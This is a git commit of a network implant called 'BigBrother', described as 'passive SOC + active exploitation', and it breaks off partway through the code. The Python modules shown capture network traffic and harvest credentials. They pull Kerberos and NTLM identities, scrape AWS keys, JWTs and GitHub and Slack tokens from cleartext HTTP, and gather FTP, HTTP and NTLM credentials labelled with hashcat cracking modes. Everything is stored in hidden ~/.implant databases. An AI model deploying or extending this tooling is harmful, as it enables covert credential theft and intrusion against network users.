Initial public release

Full BigBrother network implant - passive SOC + active exploitation.
Personal identifiers removed; all capabilities intact.
See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
n0mad1k
2026-06-26 09:52:50 -04:00
commit ccc6b729de
175 changed files with 47941 additions and 0 deletions
+39
View File
@@ -0,0 +1,39 @@
"""SystemMonitor passive modules — zero-noise network observation."""
from modules.passive.packet_capture import PacketCapture
from modules.passive.dns_logger import DNSLogger
from modules.passive.tls_sni_extractor import TLSSNIExtractor
from modules.passive.credential_sniffer import CredentialSniffer
from modules.passive.kerberos_harvester import KerberosHarvester
from modules.passive.host_discovery import HostDiscovery
from modules.passive.os_fingerprint import OSFingerprint
from modules.passive.traffic_analyzer import TrafficAnalyzer
from modules.passive.vlan_discovery import VLANDiscovery
from modules.passive.network_mapper import NetworkMapper
from modules.passive.auth_flow_tracker import AuthFlowTracker
from modules.passive.smb_monitor import SMBMonitor
from modules.passive.cloud_token_harvester import CloudTokenHarvester
from modules.passive.ldap_harvester import LDAPHarvester
from modules.passive.rdp_monitor import RDPMonitor
from modules.passive.quic_analyzer import QUICAnalyzer
from modules.passive.db_interceptor import DBInterceptor
__all__ = [
"PacketCapture",
"DNSLogger",
"TLSSNIExtractor",
"CredentialSniffer",
"KerberosHarvester",
"HostDiscovery",
"OSFingerprint",
"TrafficAnalyzer",
"VLANDiscovery",
"NetworkMapper",
"AuthFlowTracker",
"SMBMonitor",
"CloudTokenHarvester",
"LDAPHarvester",
"RDPMonitor",
"QUICAnalyzer",
"DBInterceptor",
]
+540
View File
@@ -0,0 +1,540 @@
#!/usr/bin/env python3
"""Authentication flow tracker — cross-protocol auth event correlation.
Tracks Kerberos (AS-REQ/TGS-REQ), NTLM (across SMB/HTTP/LDAP/MSSQL),
SSH connections, and LDAP binds. Builds per-user authentication timelines
and identifies service accounts.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Protocol ports
KERBEROS_PORT = 88
SMB_PORT = 445
LDAP_PORT = 389
LDAPS_PORT = 636
RDP_PORT = 3389
SSH_PORT = 22
MSSQL_PORT = 1433
TCP_PROTO = 6
UDP_PROTO = 17
# Kerberos message types (in AS-REQ body)
KRB_AS_REQ = 10
KRB_AS_REP = 11
KRB_TGS_REQ = 12
KRB_TGS_REP = 13
# NTLM signature
NTLMSSP_SIGNATURE = b'NTLMSSP\x00'
NTLM_NEGOTIATE = 1
NTLM_CHALLENGE = 2
NTLM_AUTHENTICATE = 3
# Service account detection threshold
SERVICE_ACCOUNT_THRESHOLD = 5
_DB_INIT = """
CREATE TABLE IF NOT EXISTS auth_events (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
protocol TEXT NOT NULL,
auth_type TEXT NOT NULL,
username TEXT DEFAULT '',
domain TEXT DEFAULT '',
target_service TEXT DEFAULT '',
success INTEGER DEFAULT -1
);
CREATE INDEX IF NOT EXISTS idx_auth_user ON auth_events(username);
CREATE INDEX IF NOT EXISTS idx_auth_ts ON auth_events(timestamp);
CREATE INDEX IF NOT EXISTS idx_auth_src ON auth_events(source_ip);
"""
FLUSH_INTERVAL = 30
class AuthFlowTracker(BaseModule):
"""Track authentication events across Kerberos, NTLM, SSH, LDAP."""
name = "auth_flow_tracker"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
# Track per-user service targets for service account detection
self._user_targets: dict[str, set] = defaultdict(set)
self._stats = {
"packets_processed": 0,
"kerberos_events": 0,
"ntlm_events": 0,
"ssh_events": 0,
"ldap_bind_events": 0,
"service_accounts_detected": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("AuthFlowTracker requires _capture_bus in config")
return
# BPF for auth protocol ports
bpf = (
"port 88 or port 445 or port 389 or port 636 "
"or port 3389 or port 22 or port 1433"
)
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf, queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-auth-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-auth-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("AuthFlowTracker started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("AuthFlowTracker stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing auth packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Route packet to appropriate protocol parser."""
if len(pkt) < 34:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 38:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if ip_proto == TCP_PROTO and len(ip_header) >= ihl + 4:
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
# TCP data offset
if len(ip_header) < ihl + 12:
return
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if not payload:
return
port = dst_port
if dst_port == KERBEROS_PORT or src_port == KERBEROS_PORT:
self._parse_kerberos(payload, src_ip, dst_ip, ts)
elif dst_port == SMB_PORT or src_port == SMB_PORT:
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "smb", ts)
elif dst_port in (LDAP_PORT, LDAPS_PORT) or src_port in (LDAP_PORT, LDAPS_PORT):
self._parse_ldap_bind(payload, src_ip, dst_ip, ts)
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "ldap", ts)
elif dst_port == SSH_PORT or src_port == SSH_PORT:
self._parse_ssh(payload, src_ip, dst_ip, ts)
elif dst_port == RDP_PORT or src_port == RDP_PORT:
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "rdp", ts)
elif dst_port == MSSQL_PORT or src_port == MSSQL_PORT:
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "mssql", ts)
elif ip_proto == UDP_PROTO and len(ip_header) >= ihl + 8:
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
payload = ip_header[ihl + 8:]
if dst_port == KERBEROS_PORT or src_port == KERBEROS_PORT:
self._parse_kerberos(payload, src_ip, dst_ip, ts)
# ------------------------------------------------------------------
# Kerberos parser
# ------------------------------------------------------------------
def _parse_kerberos(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse Kerberos AS-REQ and TGS-REQ to extract principal, realm, SPN."""
if len(payload) < 10:
return
# Kerberos uses ASN.1 DER encoding
# Application tag: AS-REQ=[APPLICATION 10], TGS-REQ=[APPLICATION 12]
tag = payload[0]
if tag & 0x1F == 0x1F:
# Long-form tag, skip for now
return
app_class = (tag >> 6) & 0x03
if app_class != 1: # APPLICATION class
return
msg_type = tag & 0x1F
auth_type = ""
if msg_type == KRB_AS_REQ:
auth_type = "kerberos_as_req"
elif msg_type == KRB_TGS_REQ:
auth_type = "kerberos_tgs_req"
else:
return
# Extract principal and realm from ASN.1 — simplified extraction
# Look for common realm and principal patterns in the raw bytes
realm = self._extract_krb_string(payload, b'\x1b') # GeneralString
principal = self._extract_krb_string(payload, b'\x1b', skip=1)
self._stats["kerberos_events"] += 1
self._record_auth(
ts, src_ip, dst_ip, "kerberos", auth_type,
username=principal, domain=realm,
target_service=principal if msg_type == KRB_TGS_REQ else "",
)
def _extract_krb_string(self, data: bytes, tag: bytes, skip: int = 0) -> str:
"""Extract a GeneralString value from ASN.1 data (simplified)."""
search_tag = tag[0]
pos = 0
found = 0
while pos < len(data) - 2:
if data[pos] == search_tag:
length = data[pos + 1]
if length > 0 and length < 128 and pos + 2 + length <= len(data):
if found >= skip:
try:
return data[pos + 2:pos + 2 + length].decode("ascii", errors="replace")
except Exception:
return ""
found += 1
pos += 1
return ""
# ------------------------------------------------------------------
# NTLM parser
# ------------------------------------------------------------------
def _parse_ntlm_in_payload(self, payload: bytes, src_ip: str, dst_ip: str,
protocol: str, ts: float) -> None:
"""Search for NTLMSSP messages embedded in any protocol payload."""
idx = payload.find(NTLMSSP_SIGNATURE)
if idx == -1 or idx + 12 > len(payload):
return
ntlm_data = payload[idx:]
msg_type = struct.unpack("<I", ntlm_data[8:12])[0]
if msg_type == NTLM_AUTHENTICATE and len(ntlm_data) >= 88:
# Type 3: Authenticate message
username, domain, workstation = self._parse_ntlm_auth(ntlm_data)
if username:
self._stats["ntlm_events"] += 1
self._record_auth(
ts, src_ip, dst_ip, protocol, "ntlm_auth",
username=username, domain=domain,
)
elif msg_type == NTLM_CHALLENGE and len(ntlm_data) >= 56:
# Type 2: Challenge — extract target name
target = self._parse_ntlm_challenge_target(ntlm_data)
if target:
self._stats["ntlm_events"] += 1
self._record_auth(
ts, dst_ip, src_ip, protocol, "ntlm_challenge",
domain=target,
)
def _parse_ntlm_auth(self, data: bytes) -> tuple:
"""Parse NTLM Type 3 Authenticate message for username, domain, workstation."""
if len(data) < 72:
return ("", "", "")
try:
# LmChallengeResponse: offset 12
# NtChallengeResponse: offset 20
# DomainName: length(2), maxlen(2), offset(4) at byte 28
domain_len = struct.unpack("<H", data[28:30])[0]
domain_off = struct.unpack("<I", data[32:36])[0]
# UserName: length(2), maxlen(2), offset(4) at byte 36
user_len = struct.unpack("<H", data[36:38])[0]
user_off = struct.unpack("<I", data[40:44])[0]
# Workstation: length(2), maxlen(2), offset(4) at byte 44
ws_len = struct.unpack("<H", data[44:46])[0]
ws_off = struct.unpack("<I", data[48:52])[0]
domain = data[domain_off:domain_off + domain_len].decode("utf-16-le", errors="replace") if domain_len else ""
username = data[user_off:user_off + user_len].decode("utf-16-le", errors="replace") if user_len else ""
workstation = data[ws_off:ws_off + ws_len].decode("utf-16-le", errors="replace") if ws_len else ""
return (username, domain, workstation)
except Exception:
return ("", "", "")
def _parse_ntlm_challenge_target(self, data: bytes) -> str:
"""Parse NTLM Type 2 Challenge for target name."""
if len(data) < 24:
return ""
try:
target_len = struct.unpack("<H", data[12:14])[0]
target_off = struct.unpack("<I", data[16:20])[0]
if target_len and target_off + target_len <= len(data):
return data[target_off:target_off + target_len].decode("utf-16-le", errors="replace")
except Exception:
pass
return ""
# ------------------------------------------------------------------
# SSH parser
# ------------------------------------------------------------------
def _parse_ssh(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse SSH version exchange and detect auth activity."""
# SSH version string starts with "SSH-"
if payload[:4] == b'SSH-':
try:
version_line = payload.split(b'\r\n')[0].decode("ascii", errors="replace")
except Exception:
version_line = ""
self._stats["ssh_events"] += 1
self._record_auth(
ts, src_ip, dst_ip, "ssh", "version_exchange",
target_service=version_line,
)
# ------------------------------------------------------------------
# LDAP bind parser
# ------------------------------------------------------------------
def _parse_ldap_bind(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse LDAP simple bind request to extract username."""
if len(payload) < 10:
return
# LDAP messages are BER-encoded
# BindRequest: APPLICATION[0] -> sequence: version, name, auth
# Look for a simple bind: tag 0x60 (APPLICATION CONSTRUCTED 0)
if payload[0] != 0x30: # Not a SEQUENCE
return
# Search for BindRequest tag (0x60) within the message
idx = payload.find(b'\x60')
if idx == -1 or idx + 10 > len(payload):
return
# Skip the BindRequest tag and length
bind_data = payload[idx + 1:]
if not bind_data:
return
# Try to read the length
bind_len, len_size = self._read_ber_length(bind_data)
if bind_len <= 0:
return
bind_body = bind_data[len_size:]
# Version (INTEGER tag 0x02)
if len(bind_body) < 3 or bind_body[0] != 0x02:
return
ver_len = bind_body[1]
name_start = 2 + ver_len
# Name (OCTET STRING tag 0x04)
if len(bind_body) <= name_start + 2:
return
if bind_body[name_start] != 0x04:
return
name_len = bind_body[name_start + 1]
if name_len > 0 and name_start + 2 + name_len <= len(bind_body):
username = bind_body[name_start + 2:name_start + 2 + name_len].decode(
"utf-8", errors="replace"
)
if username and username not in ("", "anonymous"):
self._stats["ldap_bind_events"] += 1
self._record_auth(
ts, src_ip, dst_ip, "ldap", "simple_bind",
username=username,
)
@staticmethod
def _read_ber_length(data: bytes) -> tuple:
"""Read BER length encoding. Returns (length, bytes_consumed)."""
if not data:
return (0, 0)
first = data[0]
if first < 0x80:
return (first, 1)
num_bytes = first & 0x7F
if num_bytes == 0 or len(data) < 1 + num_bytes:
return (0, 0)
length = 0
for i in range(num_bytes):
length = (length << 8) | data[1 + i]
return (length, 1 + num_bytes)
# ------------------------------------------------------------------
# Recording
# ------------------------------------------------------------------
def _record_auth(self, ts: float, src_ip: str, dst_ip: str,
protocol: str, auth_type: str, username: str = "",
domain: str = "", target_service: str = "",
success: int = -1) -> None:
"""Buffer an auth event for batch insert."""
with self._buffer_lock:
self._write_buffer.append((
ts, src_ip, dst_ip, protocol, auth_type,
username, domain, target_service, success,
))
# Track service account patterns
if username:
key = f"{domain}\\{username}" if domain else username
self._user_targets[key].add(dst_ip)
if len(self._user_targets[key]) >= SERVICE_ACCOUNT_THRESHOLD:
# Only count once per user crossing threshold
current_count = len([
u for u, targets in self._user_targets.items()
if len(targets) >= SERVICE_ACCOUNT_THRESHOLD
])
if current_count > self._stats["service_accounts_detected"]:
self._stats["service_accounts_detected"] = current_count
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "auth_flow_tracker.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO auth_events
(timestamp, source_ip, dest_ip, protocol, auth_type,
username, domain, target_service, success)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush auth events")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+324
View File
@@ -0,0 +1,324 @@
#!/usr/bin/env python3
"""Cloud token harvester — passive credential extraction from cleartext HTTP.
Regex-scans cleartext HTTP traffic (port 80) for AWS access keys, JWT tokens,
OAuth bearer tokens, SAML assertions, Azure AD tokens, and GCP service account
keys. Near-zero yield on most networks but zero cost to run. Publishes
CLOUD_TOKEN_FOUND events and feeds to credential_db via bus events.
"""
import logging
import os
import re
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Token regexes — compiled once
_TOKEN_PATTERNS = {
"aws_access_key": re.compile(rb'(AKIA[A-Z0-9]{16})'),
"aws_secret_key": re.compile(rb'(?:aws_secret_access_key|secret[_-]?key)\s*[=:]\s*([A-Za-z0-9/+=]{40})', re.IGNORECASE),
"jwt": re.compile(rb'(eyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]+)'),
"bearer_token": re.compile(rb'[Bb]earer\s+([A-Za-z0-9_\-\.~+/]+=*)', re.IGNORECASE),
"saml_assertion": re.compile(rb'(<saml[2p]*:Assertion[^>]*>.*?</saml[2p]*:Assertion>)', re.DOTALL | re.IGNORECASE),
"azure_ad_token": re.compile(rb'(eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+)'),
"gcp_service_key": re.compile(rb'"type"\s*:\s*"service_account".*?"private_key"\s*:\s*"([^"]+)"', re.DOTALL),
"api_key_generic": re.compile(rb'(?:api[_-]?key|apikey|x-api-key)\s*[=:]\s*([A-Za-z0-9_\-]{20,})', re.IGNORECASE),
"github_token": re.compile(rb'(ghp_[A-Za-z0-9]{36}|gho_[A-Za-z0-9]{36}|ghs_[A-Za-z0-9]{36}|ghr_[A-Za-z0-9]{36})'),
"slack_token": re.compile(rb'(xox[baprs]-[A-Za-z0-9\-]+)'),
}
_DB_INIT = """
CREATE TABLE IF NOT EXISTS cloud_tokens (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
token_type TEXT NOT NULL,
token_value TEXT NOT NULL,
context TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_ct_type ON cloud_tokens(token_type);
CREATE INDEX IF NOT EXISTS idx_ct_ts ON cloud_tokens(timestamp);
"""
FLUSH_INTERVAL = 60
class CloudTokenHarvester(BaseModule):
"""Passively harvest cloud tokens and API keys from cleartext HTTP."""
name = "cloud_token_harvester"
module_type = "passive"
priority = 200
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
# Dedup: track recently seen tokens to avoid spamming
self._seen_tokens: set = set()
self._seen_tokens_lock = threading.Lock()
self._stats = {
"packets_processed": 0,
"http_payloads_scanned": 0,
"tokens_found": 0,
"tokens_by_type": {},
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("CloudTokenHarvester requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 80", queue_depth=3000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-cloud-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-cloud-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("CloudTokenHarvester started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("CloudTokenHarvester stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract HTTP payload and scan for tokens."""
if len(pkt) < 54:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if len(ip_header) < ihl + 20:
return
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 10:
return
# Quick check: does this look like HTTP?
if not (payload[:4] in (b'GET ', b'POST', b'PUT ', b'HEAD', b'HTTP', b'PATC', b'DELE')
or payload[:7] == b'CONNECT' or payload[:7] == b'OPTIONS'):
return
self._stats["http_payloads_scanned"] += 1
self._scan_for_tokens(payload, src_ip, dst_ip, ts)
def _scan_for_tokens(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Run all token regexes against the HTTP payload."""
for token_type, pattern in _TOKEN_PATTERNS.items():
try:
matches = pattern.findall(payload)
except Exception:
continue
for match in matches:
if isinstance(match, bytes):
token_value = match.decode("ascii", errors="replace")
else:
token_value = str(match)
# Skip very short matches (likely false positives)
if len(token_value) < 10:
continue
# Dedup
token_hash = f"{token_type}:{token_value[:32]}"
with self._seen_tokens_lock:
if token_hash in self._seen_tokens:
continue
self._seen_tokens.add(token_hash)
# Bound the seen set
if len(self._seen_tokens) > 10000:
self._seen_tokens.clear()
# Extract context (surrounding bytes for context)
idx = payload.find(match if isinstance(match, bytes) else match.encode())
context_start = max(0, idx - 50)
context_end = min(len(payload), idx + len(match) + 50) if idx >= 0 else 0
context = payload[context_start:context_end].decode("ascii", errors="replace") if idx >= 0 else ""
self._stats["tokens_found"] += 1
self._stats["tokens_by_type"][token_type] = (
self._stats["tokens_by_type"].get(token_type, 0) + 1
)
logger.info(
"Cloud token found: type=%s src=%s dst=%s value=%s...",
token_type, src_ip, dst_ip, token_value[:20]
)
# Publish event
self.bus.emit("CLOUD_TOKEN_FOUND", {
"token_type": token_type,
"token_value": token_value,
"source_ip": src_ip,
"dest_ip": dst_ip,
"context": context[:200],
}, source_module=self.name)
# Also feed to credential_db
emit_credential_found(self.bus, self.name, {
"source": f"cloud_token_{token_type}",
"username": "",
"credential": token_value,
"source_ip": src_ip,
"dest_ip": dst_ip,
"protocol": "http",
})
self._record_token(ts, src_ip, dst_ip, token_type, token_value, context)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "cloud_token_harvester.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_token(self, ts: float, src_ip: str, dst_ip: str,
token_type: str, token_value: str, context: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, src_ip, dst_ip, token_type, token_value, context[:500]
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO cloud_tokens
(timestamp, source_ip, dest_ip, token_type, token_value, context)
VALUES (?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush cloud tokens")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+659
View File
@@ -0,0 +1,659 @@
#!/usr/bin/env python3
"""Passive credential extraction from network traffic.
Extracts cleartext and hashed credentials from protocols:
- FTP USER/PASS
- HTTP Basic auth (base64 decode)
- HTTP form POST (password fields)
- SNMP community strings
- LDAP simple bind
- NTLMv1/v2 challenge-response from SMB and HTTP
Publishes CREDENTIAL_FOUND events immediately on capture.
Batch-writes to SQLite for persistence.
"""
import base64
import logging
import os
import re
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Hashcat mode mapping
HASHCAT_MODES = {
"ntlmv2": 5600,
"ntlmv1": 5500,
"net-ntlmv2": 5600,
"net-ntlmv1": 5500,
"ftp": 0, # plaintext
"http_basic": 0,
"http_form": 0,
"snmp": 0,
"ldap_simple": 0,
}
class CredentialSniffer(BaseModule):
"""Extract credentials from network traffic in real time."""
name = "credential_sniffer"
module_type = "passive"
priority = 80
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 100
FLUSH_INTERVAL = 30
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_creds = 0
# Track FTP sessions: (src_ip, dst_ip, dst_port) -> last_user
self._ftp_sessions = {}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("CredentialSniffer requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "credentials.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Load BPF filter from file or use default
bpf_path = self.config.get("bpf_filter_path", "")
bpf_filter = ""
if bpf_path and os.path.isfile(bpf_path):
with open(bpf_path) as f:
lines = [l.strip() for l in f if l.strip() and not l.startswith("#")]
bpf_filter = " ".join(lines)
if not bpf_filter:
bpf_filter = "port 80 or port 21 or port 23 or port 25 or port 110 or port 143 or port 389 or port 88 or port 445"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf_filter, queue_depth=8000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-cred-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-cred-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("CredentialSniffer started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("CredentialSniffer stopped — %d credentials captured", self._total_creds)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_credentials": self._total_creds,
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
target_ip TEXT NOT NULL,
target_port INTEGER NOT NULL,
service TEXT NOT NULL,
username TEXT,
domain TEXT,
cred_type TEXT NOT NULL,
cred_value TEXT,
hashcat_mode INTEGER
);
CREATE INDEX IF NOT EXISTS idx_cred_source ON credentials(source_ip);
CREATE INDEX IF NOT EXISTS idx_cred_service ON credentials(service);
CREATE INDEX IF NOT EXISTS idx_cred_ts ON credentials(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Route packet to appropriate protocol parser."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
